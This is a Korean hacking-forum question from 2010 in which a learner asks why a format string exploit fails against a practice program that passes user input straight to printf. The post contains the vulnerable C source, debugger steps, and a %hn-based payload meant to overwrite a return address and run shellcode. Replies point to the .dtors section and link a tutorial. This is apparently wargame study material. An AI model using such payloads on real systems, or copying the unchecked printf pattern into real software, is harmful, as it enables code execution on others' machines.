시스템 해킹

 1576, 1/79 회원가입  로그인  
   bluesun2
   포맷 스트링 리턴어드레스값 질문 ㅠㅠ

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1449 [복사]


./egg 쉘 실행후

0xbff7fa28

edb bugfile

b main

r

x/12 $ebp


0xbfe7a8e8 이라는 값을 뽑아내었습니다

여기서 + 4를하여
0xbfe7a8ec 가 나오는데 이게 리턴값인가요?

포맷스트링 공격코드 짜면 \x41\x41\x41\x41\xec\xa8\xe7\xbf\x41\x41\x41\x41\xee\xa8\xe7\xbf%%64024d%%hn%%50639d%%hn";cat) | ./bugfile 이라고 명령어 입력해도 안되네요 제가 잘못한게 뭘까요?



bugfile 코딩입니다

#include <stdio.h>
main() {
int i=0;
char buf[ 64];
memset (buf, 0, 64);
read(0, buf, 64);
printf(buf);
}


  Hit : 3983     Date : 2010/12/08 11:43



    
helloman objdump -h bugfile | grep .dtors 해서 나온 주소값이 뭔지 분석해보세요...

2010/12/30  
helloman 이것도 한번 보세요 설명 잘되있네요

<a href=http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&keyword=objdump&select_arrange=headnum&desc=asc&no=162 target=_blank>http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&keyword=objdump&select_arrange=headnum&desc=asc&no=162</a>
2010/12/30